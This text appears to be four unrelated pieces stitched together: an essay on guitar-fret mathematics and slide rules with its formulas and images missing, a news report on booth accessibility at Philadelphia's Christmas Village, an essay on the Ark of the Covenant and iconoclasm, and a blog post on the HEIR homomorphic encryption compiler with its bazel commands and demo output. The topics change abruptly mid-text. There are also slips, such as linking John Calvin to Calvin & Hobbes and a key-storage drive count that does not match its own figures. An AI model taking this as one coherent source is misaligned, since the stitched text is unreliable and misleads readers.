It’s annoying that a slide rule constructed from the mathematics of guitar frets seems to work almost as well as a slide rule constructed from logarithms, but not exactly.

The following graphic is not a slide rule. It is not interactive. Don’t try to slide anything. The top ruler scale is constructed based on the formula for positioning guitar frets, and the bottom is constructed from logarithms:

I’ve stretched it out so you don’t have to look closely to see that these are two different scales that only coincide at 1 and 2.

It’s also revealing to graph the two functions beyond the range of these scales. Earlier I showed a formula for calculating the distance of each fret from the nut:

I want to adapt this formula for a slide rule: The distance of each tick mark is based on the number associated with that tick mark. That number n relates to the fret number like this:

Or:

Also, because the scale from 1 to 2 is half the string length, let’s also normalize the string length to 2 so the formula for positioning a tick mark becomes:

This will be the red line in the graph. When n equals 1 (the beginning of the scale), the tick distance is 0; when n equals 2 at the end of the scale, the tick distance is 1.

The tick distance in the logarithmic scale from 1 to 2 is simply:

That’s the blue line in the graph. Again, when n equals 1 at the beginning of the scale, the tick distance is 0, and when n equals 2, the tick distance is 1.

Although the red and blue lines seem to coincide between n equal to 1 and 2, these are definitely not equivalent functions!

Here’s what happened: Deceived as I was by the cruelly deceptive illustration on the cover of Calculating with Tones, I contorted my initial labeling of the guitar frets to range from 1 to 2. That implied a certain function that of course coincided at those two points with the logarithm, but was otherwise quite different. The rest is basically coincidence.

One of the themes of The Lost Art of Logarithms is that many phenomena in our natural and human-made world can be interpreted logarithmically. That includes music but it does not include guitar frets.

Addendum: The Geometric Approach to Fret Positioning

Earlier I described the theoretical mathematics behind positioning the frets on a guitar. But the guitar has been around for hundreds of years. How did people figure out the positions of the frets without calculators and precision measuring instruments? For example, how were the frets positioned on the guitar in one of Johannes Vermeer’s last paintings, The Guitar Player, dating from 1672?

Public domain image from Wikipedia via Wikimedia Commons

One popular approach was to use a simple ratio from a book published in Florence in 1581 entitled Dialogo della musica antica et della moderna or “Dialogue of Ancient and Modern Music.”

The author was Vincenzo Galilei, born near Florence probably sometime in the 1520s. He studied lute at a young age and became a singer, teacher, and composer. Some of his music has been recorded: The album The Well-Tempered Lute has a selection of his compositions. He studied music theory with Gioseffo Zarlino, and then refuted some of Zarlino’s theories. His eldest son, Galileo, who was about 17 when his father published the Dialogo, was later to achieve some renown in the fields of astronomy and natural philosophy, and also wrote about music theory in his Two New Sciences of 1638.

The Internet Archive has the original 1581 edition of Papa Galilei’s Dialogo; the International Music Score Library Project (IMSLP) has a 1967 reprint), and the University of North Texas Digital Libary has a doctoral thesis by Robert H. Herman with a complete English translation and much commentary.

Here’s where Galilei discusses how to calculate fret positions for a lute:

I therefore divide the whole line A B into eighteen parts, and toward the high part (moving away from the low part) where that first part ends, I place the first fret. I divide once more the whole remainder of the same number of parts [i.e. eighteen] and from the very same band, I place the first fret under the second. I now proceed to distribute the space which remains beneath the frets, always in that very same order, up to [the number of] twelve, which brings me exactly to [the point] where half of the entire string terminates. (pp. 299–300, bracketed phrases added by translator; corresponds to page 49 in the original Italian edition)

Vincenzo Galilei is suggesting a ratio of 18:17 for positioning the frets. This implies that the semitone multiplier is approximated by:

If you multiply 18/17 by itself 12 times, you won’t come out to 2. Instead, you get 1.985560, which is quite close.

Similarly, the string reduction factor for calculating the position of frets is:

If you take this ratio to the 12th power, it’s a little more than 1/2:

But the advantage of 17/18 is that it’s a ratio and ratios are extemely useful.

If you examine any treatise of music theory from the time of the Ancient Greeks through the Renaissance, you’ll see a lot of geometrical drawings. When mixing arithmetic and geometry, ratios are ideal because you don’t have to measure anything or get involved with fractions. It’s all geometrical.

Vincenzo Galilei doesn’t explain very well how the 18:17 ratio is used in practice, but it’s easy to develop a technique. Suppose you were building a lute or guitar, or perhaps you’ve obtained a fretless guitar to which you want to add some frets.

The first step is to get a large sheet of paper and draw a line segment corresponding to the distance between the nut and the saddle:

Let’s call this the string line. Put the guitar aside, and draw a long horizontal line perpendicular to the string line and aligned with its bottom:

Somewhere along that horizontal line, draw another shorter vertical line:

On that shorter vertical line, working from the bottom up, draw 18 evenly spaced horizontal tick marks:

This is something that can be done with the traditional geometric drawing tools of compass and straightedge. The distance between these horizontal tick marks doesn’t matter, just as long as they’re evenly spaced. If you’re lazy, you can even use an 18-inch ruler for marking this line.

Now draw a straight line from the top of the string line to the top tick of the shorter vertical line and continue down to the base:

I’ve drawn a little dot where it crosses that bottom horizontal. From that little dot, draw another diagonal that passes through the second tick mark and intersects the string line:

Now get rid of that smaller vertical line with the tick marks. You don’t need it any more:

I contend that any vertical line drawn from the top diagonal to the base will be divided into two parts: the top part (between the two diagonals) is 1/18th of the total length. The bottom part (under the bottom diagonal) is 17/18th of the total length.

The string line is one such vertical line. The two diagonals divide that string line into 1/18th between the two diagonals and 17/18th below the bottom diagonal. The first fret goes where the bottom diagonal intersects the string:

To determine where the second fret goes, first, extend a horizontal line from the fret to the top diagonal. This is shown here as a dotted line:

You can imagine a vertical line drawn from the point where the dotted line meets the top diagonal down to the base. That line is also divided in two parts. Draw just a part of that vertical line down to the second diagonal. This is also a dotted line:

Now draw a horzizontal line back to the string line:

That is the position of the second fret:

As you keep going, you’ll see that the distance between the frets is shrinking. That’s because each successive fret is 17/18 of the remaining length of the string after the previous fret. Here’s how to find the third fret:

And here’s the fourth:

Just keep going and you get to the octave fret that I’ve made a little wider for emphasis:

Keep going and you can add another twelve frets culminating with the two-octave fret:

And now you have a template for fretting the guitar up to a two-octave range:

Vincenzo Galilei’s advocacy of the 18:17 ratio was apparently quite persuasive. In his essential book Tuning and Temperament: A Historical Survey (Michigan State College Press, 1951, 1952; Dover Publications, 2004), musicologist James Murray Barbour reports finding that “references to the 18:17 semitone cover two and a half centuries.” (p. 59) In other words, people were using this ratio well into the 19th century. That’s why I assume that the guitar in Vermeer’s painting was fretted with this technique.

Let’s see how it works in practice, or at least in a virtual guitar.

Here are two “guitars” with each of the six strings labeled at the top with their pitches. The guitar on the left uses Vincenzo Galilei’s 18:17 ratio for determining the fret positions. The one on the right uses the twelfth root of 2 for the calculations.

On a touch screen, you can pluck a string on these two guitars with your finger. Otherwise you’ll need to drag the mouse pointer across a string with the button pressed. To play the note associated with the open string, pluck the string under the nut near the top. For notes requiring frets, pluck the string right under the fret.

A pair of dots are drawn right above the octave and two-octave frets. These dots are found on some guitars to help orient the musician. The slider in the lower-left corner is a volume control.

If you have a multitouch display, you can pluck two strings simultaneously, perhaps the same string on the two different guitars. At the very top, the frequencies will be identical, but as you get lower down the frets, the frequencies deviate and you might start to hear beats.

It is likely that guitar builders who used Vincenzo Galilei’s 18:17 ratio made subtle adjustments to the frets so that a pure octave interval could be realized.

Vendors at the Christmas Village and Made in Philadelphia markets in Center City will not be permitted to allow shoppers to step inside their booths this holiday season.

Instead, sales counters and other barriers will be added to most booths, making them inaccessible to shoppers and requiring sellers to help customers select merchandise, according to an email that the event organizer, German American Marketing, sent to vendors earlier this week. The change is necessary to ensure the monthlong holiday event at Dilworth and LOVE parks is compliant with the Americans with Disability Act.

MORE: Judge bars Bucks County smoke shop from selling minors kratom, which has no statewide age restriction

For shoppers to enter the booths, each booth would need an 8-foot-long ramp, Thomas Bauer, CEO of German American Marketing, wrote in the email, which was shared with PhillyVoice. That only would work for some of the wider booths, and the "only option left" is to add the sales counters, Bauer wrote.

"We tried all reasonable solutions to avoid this step and in having to put you and our staff through executing access support assistance," Bauer wrote. "But at the end of the day, we can't avoid it. Simply put, we have to make the booths inaccessible — as we have observed at other Holiday Markets in New York City and Denver."

A few booths along City Hall "might" be able to utilize the 8-foot-long ramps to allow shoppers inside, Bauer wrote.

Bauer told vendors that German American Marketing is "not thrilled" with the change, saying it spent 32 months working with legal experts, the city and disability rights advocates ahead of this decision. At the 2025 market, vendors and Christmas Village staff had temporary ramps that they could place out to accommodate shoppers who used wheelchairs or walkers. 

"Well, it was a great approach, but a very small group of people do not like that they need assistance to enter booths which able bodied don't need to ask for," Bauer wrote.

Vendors pay $8,500 to $16,500 for their booths, according to a Reddit post about fees, and Bauer's email notes that small business owners likely will have to consider adding additional staffers or anticipate lower sales. But vendor contracts for this year's market already have been signed and many already have paid the fee for the year, vendors say. 

In an Instagram video, Lindsay Gradel, who sells children's clothing through her business Sew Much Cooler, said that adding the counter changes the whole layout for vendors and likely will deter sales. Many sellers, she said, won't have the chance to back out and work at another Christmas market either, because applications for most markets have closed. 

"Somebody who thought, 'I'm going to make $50,000 for my family this year at the Christmas Village,' is no longer going to make that money," she said in the video. "Maybe they'll make $30,000, who knows, but it's so rotten of these people to do this so late in the game when you've already made your deposits, already got your booth, already done this, that and the third, and they've known about this." 

Last October, City Council held a hearing on ways to increase accessibility for people with disabilities at city events, with an eye toward Philly's busy 2026 events schedule. At the hearing, Vicki Landers, founder of the advocacy group Disability Pride Pennsylvania, said Christmas Village is a prime example of the need for better accessibility at events. 

Landers said the ground is uneven, the booths are either too high or too cramped for wheelchair users, there is a lack of navigation resources for the visually impaired and there are no accessible restrooms. 

About 17% of residents in the city have some form of disability, according to city data. At the hearing, Landers said the lack of accessibility isn't the fault of individual organizers, but blamed the city for not making accessibility part of the event application and approval processes. 

"These are not minor oversights, these are barriers, literal and figurative, that prevent people with disabilities from participating fully in city life," Landers said. "This is not just about one event, this is about the city's systematic failure to enforce its own disability policies."

A representative for the city did not immediately return a request for comment. 

Related Topics Include:

The Philistines were a people living on the coast of Canaan - thought to have settled there around the late Bronze Age. Their history intertwines with the Israelites’, and as such is extensively documented in the Old Testament. One interesting episode is the story of a battle with the Israelites detailed in 1 Samuel 4.

The Israelites, while encamped under Mount Sinai, were given elaborate instructions on constructing the Ark of the Covenant. God on building the base of it:

And they will make an ark of acacia wood, two and a half cubits its length and a cubit and a half its width and a cubit and a half its height. 11 And you will overlay it with pure gold, inside and outside you will overlay it, and you will make on it a gold molding all around. 12 And you will cast for it four gold rings, and you will put them on its four feet, with two rings on its one side and two rings on its second side..

The instructions continue with more detail, on putting cherubim on either end and the construction of an atonement cover to go on top. The stated purpose for the Ark was to represent God’s physical throne on Earth and to house the Ten Commandments, a contradiction it seems to the Second Commandment itself, forbidding the construction of any “graven image”.

Carried for 40 years as the Israelites wandered through the desert and placed inside their Tabernacle every time they encamped, the Ark was passed and cared for from generation to generation. The Ark made several apperances throughout their history:

• During the Battle of Jericho, it was carried around the city of as trumpeteers followed it, and after the 7th day the wall of Jericho fell.
• At the Battle of Gibeah (an episode during the Benjaminite War), the Ark was given burnt offerings by the Israelites after a day of heavy losses. The Israelites succeeded on the next day.
• When the Israelites reached the bank of the River Jordan, the river grew dry as the priests at the head of the formation carrying the Ark stepped in it, allowing the people to cross.

By the time of the battle between the Philistines and Israelites, the Ark had taken on a secondary purpose, here carried as a banner. The Israelites lost, and the Philistines captured the Ark to parade around their city. At each place they paraded it, misfortune befell them. At Ashdod, it was placed in the temple of Dagon, an early Syrian diety. The next morning, the statue was found prostrate in front of it. When restored, the statue was found the next day broken. The people of Ashdod were visited by a plague, until the Ark was returned to the Israelites. It continued on its journey throughout Biblical history, in the hands of King David then Solomon and so on, getting lost in history.

The Ark deviated from its original image - its primary purpose overshadowed and abstracted away by the observed phenomena. The creators themselves were affected by the runaway nature of its purpose. The Ark, an image, was used as a weapon but misunderstood by both the Israelites and Philistines.

What the Israelites and Philistines encountered with the Ark then I think is not too dissimilar to the angelization I bring up in an earlier post. Images function much the same then as how algorithmic modeling of humans flattens a dimension out.

The Second Commandment exists I think to prevent the runaway repurposing and abstracting of the real by forbidding the creation of these secondary representations or truths. You see this repeated across religions and cultures. The classic example is the depiction of Mohammad in Islam, but the Catholic Church also went through this debate when Emperor Leo III banned religious icons in 726, arguing that depicting Christ either divided his divine and human natures or, worse, only captured the human.

The Iconodules countered that Christ’s incarnation justified images, since God had already made himself visible in flesh.

Iconoclasm

The destruction of religious imagery happens often enough in history to be called iconoclasm - Greek for icon + break (the above episode in Byzantine history is referred to as the Byzantine Iconoclasm. Interestingly the opposite (mentioned above) is iconodule, Greek for icon + slave.

Since we’re talking about images, it’s worth digging into some loose classifications for support of iconoclasm I’ve been thinking through.

Structural

Plato made a structural argument against icons, by banning poets and painters in his idealized Republic. Platonic Realism holds that the ideas, symbols and concepts of things in our collective understanding of the world hold real representations somewhere in the universe - therefore everything in the physical world is an imitation of some pure Form. A painting of a bed is an imitation of a physical bed which is an imitation of the abstract Form of a bed.

“… the imitative poet implants an evil constitution, for he indulges the irrational nature which has no discernment of greater and less, but thinks the same thing at one time great and at another small — he is a manufacturer of images and is very far removed from the truth.”

The ban on painters and poets in the Republic is then a ban on secondary representations, which Plato feared would result in misrepresentations being taken for truth.

Collective

Islam’s prohibitions on images derive from Tawhid, or Oneness. It’s anathema to assign anything else divinity, leading to an uncompromising monotheism. The prohibition then around images (really idolatry) is called Shirk, which means both idolatry and “partnerism” or association with God. This is the highest sin in Islam:

Indeed, Allah does not forgive associating others with Him, but forgives anything else of whoever He wills. And whoever associates others with Allah has indeed committed a grave sin.

Parts of Sufism also associate free will with Shirk, as it results unconsciously in the production of secondary representations (i.e as you unconsciously assign an image to God when you think of them). And so the fear of Shirk is the fear of category confusion in the collective; violating Tawhid.

John Calvin (of Calvin & Hobbes fame) in the Institutes makes a similar claim:

“The human mind, stuffed as it is with presumptuous rashness, dares to imagine a god suited to its own capacity; as it labours under dullness, nay, is sunk in the grossest ignorance, it substitutes vanity and an empty phantom in the place of God.”

… we may infer that the human mind is, so to speak, a perpetual forge of idols."

Capacity

When Calvin says “dares to imagine a god suited to [our] own capacity”, the fear is of capturing the fullness of the Form/Ideal/Divinity that we’re seeking to represent, and unwittingly misrepresenting; leading to confusion.

Maimonides sets up a similar scenario: someone has heard of the elephant, and knows that it is an animal, and wishes to know its form and nature. A person, who is either misled or misleading, tells him it is an animal with one leg, three wings, lives in the depth of the sea, has a transparent body: its face is wide like that of a man, has the same form and shape, speaks like a man, flies sometimes in the air, and sometimes swims like a fish.

The image of the elephant then becomes a runaway object, and distorts the True form, occupying its space in collective thought. This was the main motivation behind Byzantine Iconoclasm as well, that there was no way for a human to render in the physical world the Divine.

Icons as a Service

Most frontier labs now offer image generation in their free tier, allowing anyone to quickly produce an image with a prompt. If you hold iconoclastic views, this can feel like the terminus, although in hindsight it’s the point we’ve been marching towards all along as the mediums and techniques of representation evolved. Calvin’s mind forge is now fully externalized, mechanized and connected to others. A thought, formed nowhere (either embodied in a human or disembodied by an agent), immediately projected into an image; the image immediately loose in the world, already indistinguishable from what it was trying to resemble.

Notes

• John Calvin and the Visual Arts: Dueling Cavaliers? is where I learnt about Calvin’s iconoclasm.
• The Wikipedia entry on Byzantine Iconoclasm has a great section on arguments for and against icons: https://en.wikipedia.org/wiki/Byzantine_Iconoclasm#Arguments_in_the_struggle_over_icons.
• The oldest case of Iconoclasm I could find was Akhenaten’s eradication of Ancient Egypt’s Old Gods in favor of the Sun God Aten. From Jan Assmann (cribbed from the Iconoclasm wiki):

For Egypt, the greatest horror was the destruction or abduction of the cult images. In the eyes of the Israelites, the erection of images meant the destruction of divine presence; in the eyes of the Egyptians, this same effect was attained by the destruction of images. In Egypt, iconoclasm was the most terrible religious crime; in Israel, the most terrible religious crime was idolatry.

• I can’t seem to stop talking about Deleuze. In Anti-Oedipus, Deleuze and Guatierri introduce deterritorialization (and reterritorialization, which happens immediately after) - where a concept or idea is decoupled, mutated or destroyed; and a new object with no link to the original takes its place.
• I can’t seem to stop talking about Baudrillard either. Baudrillard explores the concept of hyperreality, and cites Borges’ On Exactitude in Science. It describes an empire where cartography becomes so precise you can make a 1:1 map, but as the map itself degrades, so does the world underneath it. Baudrillard uses this to develop hyperreality, where signs and symbols deviate through differing notions of reality, leading to no clear distinction about where reality ends and fiction begins as they continuously self-generate.

Hollywood is a pioneer in this space, distorting history in post. As an aspiring gaucho, I’d like to use Wyatt Earp’s gunfight at the O.K Corral as an example. A 30 second shootout in 1881 transformed by Stuart Lake’s fictional autobiography of Earp as a noble lawman transformed by My Darling Clementine (1946) into Gunfight at the O.K Corral (1957) into Tombstone (1993).

On 2026-08-14 I published an article on the Google Security blog with an update on HEIR, our homomorphic encryption (HE) compiler. This is a companion article, in which I have no limits on word count or jargon, and I can feel free to be honest. So strap in.

Assuming you won’t read the linked corporate blog post, HEIR is a compiler that converts an input program to a program that operates directly on encrypted data. The guarantee of homomorphic encryption is that, assuming you haven’t cracked the cryptography, at no point does the computer running the program get even a single bit of information about the cleartext data used to generate the encrypted inputs. No information about the inputs, outputs, or any intermediate values.¹

The blog post focuses on HEIR’s ability to compile pre-trained ML models, and gives four examples of small, but nontrivial models that it can compile. Hence, homomorphic encryption can enable services to provide perfectly private inference. I’ll try to say more about when and where this is useful later in this article. First I wanted to give a more concrete sense for how HEIR works in the context of these examples, and outline (my view on) the project’s roadmap for the future. I won’t do a deep dive on HEIR’s internals by any means, since that would make the article too long. Give me a shout if you want that, but there are plenty of docs to read through at heir.dev and you can see a recent (fast-paced) talk I gave at ASPLOS this year.

Table of Contents:

The repo behind the blog post

The blog post ends with a list of examples compiled with HEIR. Those examples point to a GitHub repository² that you can clone and run yourself. The biggest hurdle is installing bazel, and then bazel hermetically manages everything else.³

Some simple runtime comparisons

The simplest and fastest example to try is the credit card fraud detector. This is a simple three-layer feed-forward network with sigmoid activations, trained on a Kaggle dataset. The linear layers have dimensions 128, 64, and 2 (the last being the logits for the two classes, fraud and not-fraud).

You can run the basic example in one line:

bazel run -c opt //demos/cc_fraud/lattigo:evaluate_fhe

This command will compile the (pre-trained, checked-in) cc_fraud model to the Lattigo backend, and then run it on a sample input. The command above outputs:

Loading test row 0 from /home/jeremy/fully-homomorphic-encryption/demos/cc_fraud/data/test_rows.csv...
  Took 83.226µs
  Expected label (is_fraud): 0
  Feature vector size: 82
  First 5 features: [-0.31676582 0.85089076 -0.40874073 -0.1833772 -1.7155787]
Configuring Lattigo context...
  Took 2.164051998s
Encrypting input features...
  Took 19.430069ms
Running preprocessing...
  Took 573.537941ms
Running FHE evaluation (preprocessed)...
  Took 2.020821739s
Decrypting output...
  Took 488.237µs
Decrypted logits: [16.464235 -16.781752]
Predicted class: 0
SUCCESS: Predicted class matches expected label!

The central point here is that the evaluation of the model on encrypted inputs took about 2 seconds on a single-threaded CPU.

Compare this to the same execution on cleartext inputs, noting that this is the latency of a single inference, so it doesn’t benefit from amortization. (This requires fetching and encoding the original dataset, which is explained in the README; I’ll skip that part here).

$ bazel run -c opt //demos/cc_fraud/cleartext:evaluate_cleartext
Loading model from: demos/cc_fraud/data/mlp_fraud_model_sigmoid.pt
Evaluating Credit Card Fraud Sample Index: 0
True Label:      0 (LEGITIMATE)
Predicted Label: 0 (LEGITIMATE)
Fraud Probability: 0.000000
Result:          CORRECT
Latency:         0.5233 ms

Anyone who has heard of HE may have heard that it is slow, but I want to pause here to compare this (single-threaded CPU, non-amortized!) runtime: 2 seconds for HE inference vs 0.5 ms for cleartext. This is a 4,000x slowdown, and the computation involves two matrix-vector products (where the matrix is not private), with two evaluations of a sigmoid function.

There are many caveats to this demo worth briefly noting:

• This model is small enough that the private information fits in a single (CKKS) ciphertext. Inputs tensors with more than, say, 32k elements will require multiple ciphertexts and naturally more overhead.
• This model is small enough that bootstrapping (the slowest part of HE) is not required.
• I did not include a simulated network overhead, nor did I include the per-user one-time setup required to generate and upload the relevant key material that makes HE work.
• The server is doing a decent amount of (one-time, model-specific) pre-computation in the “Running preprocessing” step.

The other examples in the repo are more complex, and hence have longer latencies and worse overhead vs cleartext (and a memory requirement of 60-90 GiB). In particular:

• network_anomaly, an ensemble of auto-encoders: 30 seconds for inference.
• criteo, a recommender model adapted specifically for HE: 5 minutes for inference.
• hotword, a 10-layer convolutional network: 20 minutes for inference.⁴

This sounds bad, but remember it’s single-threaded CPU execution. Our colleagues working to integrate HEIR with GPUs have reported that the criteo workload runs in ~500ms on a single GPU (similar to an H100). Compare that to the criteo/cleartext:evaluate_cleartext demo which runs in 10ms, and you’re down to a 50x slowdown (again, the baseline is non-amortized CPU execution). That work wasn’t able to make it into the Google blog post, but they are compiled by HEIR with some pending upstream PRs. My point is that the execution times are continuing to improve, and for some small problems they could be called reasonable if you squint. And this does not even breach the topic of HE accelerated by FPGAs and ASICs, which are even more promising performance-wise.

So instead of the Google corporate blog post showcasing raw performance, it was meant to showcase the expressiveness of HEIR: it can compile a lot of models, and the performance on some of them is decent.

As far as showcasing features, the repo also shows how one might use HEIR to:

• Target and compare multiple HE backends (the repo has Lattigo and OpenFHE as examples, try bazel run -c opt //demos/cc_fraud/openfhe:evaluate_fhe.
• Explore per-layer timing: HEIR has the ability to insert debugging callbacks into the compiled program, try bazel run -c opt //demos/cc_fraud/lattigo:evaluate_fhe_timing. In that command you’ll see the first linear layer takes the majority of the runtime, ~1.2 seconds out of 2 seconds total.
• Explore an incorrect inference: Similar to timing, the debug callback can decrypt ciphertexts and inspect them for correctness or precision loss. Try bazel run -c opt //demos/cc_fraud/lattigo:evaluate_fhe_debug and you’ll see output that shows that by the end of the inference, the use of HE has caused about 2 bits of precision loss compared to the cleartext model. This precision loss can be tuned with compiler flags and trades against performance. Unfortunately, navigating that trade-off requires HE expertise.

Getting a model into HEIR

The process of getting a pre-compiled model to be something that HEIR can process is not yet automated. The main two constraints are:

1. You need to be able to convert the pre-compiled model to MLIR, which is the intermediate representation that HEIR uses to represent programs. Many ML frameworks such as PyTorch and JAX have tools to convert to MLIR.
2. You need to manually annotate your program with HEIR-specific annotations that say (a) what inputs to the inference are secret and (b) what are bounds on the input ranges to each activation function.

The demos in the repository show how to do this for PyTorch, and I’m working with the maintainers of torch-mlir to add a feature that will enable me to automate this (given a validation set to use to estimate ranges).

That said, much of the early stages of the compiler pipeline (recognizing activations, fusing linear layers, etc.) is based on how torch-mlir exports models to MLIR, so if we want to add ONNX or JAX support (both have great MLIR exporters), it will likely not work out of the box just yet. Moreover, we don’t even have complete coverage of torch operators yet. A lot of the details of how to support linear algebraic operators in HE are both tricky and active research topics (for MLIR enthusiasts, we don’t support linalg.generic in full generality).

Invoking the compiler

This is a bit of a tangent, but if you look at the build rules for the examples in the repo, you’ll see some slightly messy calls to a macro that invokes the compiler.

load("@rules_heir//heir:lattigo.bzl", "heir_lattigo_lib")
HEIR_OPT_FLAGS = [
    "--annotate-module=backend=lattigo scheme=ckks",
    "--torch-linalg-to-ckks=min-slot-count=8192 greedy-level-budget=15 greedy-modulus-switch-after-mul=true experimental-disable-loop-unroll=true first-mod-bits=30 scaling-mod-bits=24",
    "--scheme-to-lattigo",
]
heir_lattigo_lib(
    name = "fraud_model_lattigo",
    go_library_name = "fraud_model_lattigo",
    heir_opt_flags = HEIR_OPT_FLAGS,
    importpath = "fully_homomorphic_encryption/demos/cc_fraud/lattigo/fraud_model_lattigo",
    mlir_src = "//demos/cc_fraud/data:model_annotated.mlir",
    split_preprocessing = True,
)
go_binary(
    name = "evaluate_fhe",
    srcs = [
        "evaluate_fhe.go",
        "utils.go",
    ],
    data = [
        "//demos/cc_fraud/data:test_rows.csv",
    ],
    pure = "on",
    deps = [
        ":fraud_model_lattigo",
        ":fraud_model_lattigo_utils",
        "//demos/common/go/pathutils",
    ],
)

What’s going on here is that HEIR’s interface is a lot more like LLVM than clang. There are two binaries, heir-opt and heir-translate, which handle running compiler passes and codegen, respectively, matching LLVM’s opt and translate. Those two binaries are wrapped into bazel rules, which I published as rules_heir, and then further wrapped the rules in macros that correctly stitch together the optimizer and codegen binaries, and wrap the results into a cc_library, go_library, or rust_library, as appropriate to the chosen backend.

One nice aspect of this is that rules_heir uses pinned binaries, and can be pointed to a nightly or custom HEIR release. Still, this is less of a clear user story than something like clang, which has a consistent interface and limited exposure of the underlying LLVM kitchen sink.

Our goal is to eventually make one (or multiple) clang-style products that have a narrower scope (e.g., only supporting one frontend) and conceptually simpler flags (like -O2). For frontends like JAX/PyTorch, this will probably be wrapped in a Python library.

Speaking of Python libraries! We do have a heir_py frontend library. It’s completely unrelated to ML at this point. It actually compiles a (very limited) subset of Python bytecode (using numba’s frontend) to homomorphic encryption, and then runs HEIR, generates OpenFHE C++ code, compiles and links that with clang (the slowest part!), and then loads the machine code back into a Python module which the user can call like a function.

To be clear, we haven’t used the Python frontend for anything particularly useful. It still needs a lot of features to start being useful, such as preserving numpy ops as MLIR linalg ops that HEIR understands.

Who wants HE?

Now I’d like to take a step back and pontificate a bit about who wants HE. There has been a lot of discussion in the HE community about this, and in particular the question has been raised: what is HE’s “killer app”?

Most academics will tell you the answer is “private LLMs.” I will reserve my opinion on that topic for dinner parties, but suffice it to say that two things are currently true: First, most if not all applied HE work in academia is currently focused on making encrypted LLM inference faster. Second, the SOTA is still very far away from being practical. In particular, latencies are measured in the units of seconds per token, and all solutions I’m aware of require a round-trip to the client to decrypt the output from one inference and prepare it for the next inference step. And this is including hardware acceleration (e.g., 8 GPUs). I’m also not an expert on LLM architectures, so I don’t have a strong sense for the current barriers and how likely they are to succumb to additional research efforts.

My focus at Google has instead been on a lower-hanging fruit: what applications can take advantage of the HE capabilities we have today? In that discussion, I have landed on the following soft heuristics, which shed some light on the remaining challenges to make HE truly practical. I will again restrict myself to private inference here.

Models from 2020

While the latency of HE has improved significantly, models with billions of parameters are still out of reach for practical applications. And in particular, this rules out any transformers that are big enough to be useful.

That said, I have spoken with engineers and scientists at Google who have informed me that, despite their efforts, their domain has NOT yet seen any benefit from applying transformers. As such, the core complexity of their model architectures has not changed significantly since roughly 2020.

Convolutions are still king in many domains. Or in other words, there are still useful tasks that don’t need huge models. And so even if a large model could be used, if privacy is important enough, a smaller one might be acceptable to get fast HE.

Critical privacy for both parties

While I aspire to a world in which HE can be applied without a critical need for privacy, we’re not there yet. So for HE to be useful, the privacy of both parties must be critical.

I say “both parties” for the following reason. The standard privacy protection one expects when discussing private inference is sensitive user data. If my email service can’t see the text of my emails, I am spared from the risk of data leaks, insider threats, exposure to warranted searches, etc. The standard way to protect user privacy in these situations is to do all the work locally on the user’s device. In late 2024, Google Maps changed its location history feature to be fully on-device, at least partly in response to US police geofence warrants.

But for private inference in particular, the trained model is also sensitive data of the service provider. Shipping a model to a device, even one with a secure enclave, risks exposure of the model weights to competitors. For use cases like biometric authentication, leaking the model also adds a security risk; attackers can engineer attacks against the production model in an unrestricted environment. I’m not an expert on hardware-based security, but some of my colleagues make a living breaking them, and the way they talk about the topic doesn’t inspire confidence in secure enclaves.

I have also been led to believe that there are use cases where keeping a proprietary model secret exceeds the importance of user privacy, because the user data in those situations is not considered sensitive. In these situations, “user privacy” is a bonus on top of protecting IP. That’s not as romantic as user privacy, but hey, if it spurs further investment in HE, I’ll put up with it to get closer to the ideal.

Not too many simultaneous users

As latency becomes less of a bottleneck for HE, other bottlenecks naturally emerge. The biggest one I see is key management.

The mathematics that makes HE work requires special “evaluation keys.” These keys are, quite literally, encryptions of the user’s secret key (or something derived from the user’s secret key). Ignoring for a moment the added assumption of circular security, what matters for practical HE systems is:

1. Evaluation keys are unique to each user of the service.
2. They scale with the program size in some sense (e.g., doing larger matmuls in HE requires more evaluation keys than a smaller matmuls).
3. The biggest examples from the HEIR demo repository need ~40 GiB of evaluation keys. SOTA LLMs in HE need hundreds of GiBs of key material.

So if you had a million-user service with the 40-GiB-per-user use case, you’d need 512x20T hard drives just to store the key material. At ~500 USD per drive (just checked Amazon, so that’s a consumer price), you’re asking for 250k USD extra storage costs. I’m sure the price of RAM needed to serve a decent QPS is going to be worse.

And more, if you are using GPUs to accelerate the HE, you have the added problem of getting this 40 GiB of key material from disk to the GPU when a user makes a request. My napkin math says this should take roughly hundreds of milliseconds–the same order of magnitude as the entire HE computation. And during the time that you’re filling up the GPU’s memory with keys for one user, you can’t serve other user requests.

To be fair, a decent chunk of the RAM requirement consists of preprocessed model weights, which are model-dependent and not user-specific. And moreover, most of the key material required is to support bootstrapping, so there may be good HE applications (like Apple’s) that can use tricks to avoid needing to bootstrap. Maybe in the best case we’d only need 1 GiB of key material. So maybe you could fit enough keys for 50 users on a beefy datacenter GPU. Still, you can see the systems bottlenecks here.

And I don’t think this is getting much better. Newer HE schemes that promise better latency tend to require larger key material, not smaller. As such, until we (the HE community) finds a way to reduce the memory requirements of HE by an order of magnitude, I am only going to be looking for applications where there aren’t too many simultaneous users.

The server shouldn’t need to see the output

A lot of people I’ve talked to who want to use homomorphic encryption eventually realize that, actually, the server wants to learn one bit of information about the user’s underlying cleartexts. For example, say we want to authenticate a fingerprint without having to store the user’s biometrics. HE would prevent the server from seeing the authentication result, and so it can’t act on that.

One basic idea for dealing with this is to send the encrypted authentication result back to the user, have the user decrypt it, and send the result back to the server. The obvious downside to this is that you can’t trust the client to honestly report the authentication result!

To make this work, you would need the client to generate a zero-knowledge proof that the value they decrypted was actually the result of running the decryption routine with the provided ciphertext and the user’s secret key. It has to be zero-knowledge because the server cannot learn anything about the user’s secret key. While I haven’t done this myself, I have heard it is both possible and there are still some challenges in scaling it to HE schemes like CKKS. And of course, it further eats away at a latency budget.

As such, near-term applications of HE are probably going to have an easier time making it to production if the application does not require the server to see the computation result.

So what applications meet these constraints?

Some ideas that seem to hold water:

Remote diagnostics. Say you run a factory and you have some expensive machine you bought from a manufacturer. You want to let the manufacturer diagnose the machine to recommend maintenance and identify problems, but the details of what you’re using the machine to make (say, manufacturing volume) or the settings of the machine itself would be somewhat sensitive financial information if it were leaked to a competitor. However, diagnostic reports are batch jobs that the server need not see the output of, there aren’t millions of factories, diagnostics are a premium service the manufacturer would want to charge for, and they are probably not that complicated of models.

I have heard rumors that someone is actually using HE for this, but I have no publicly verifiable proof. Our network intrusion detection demo is similar in nature, where the contents of the packets are the sensitive data.⁵

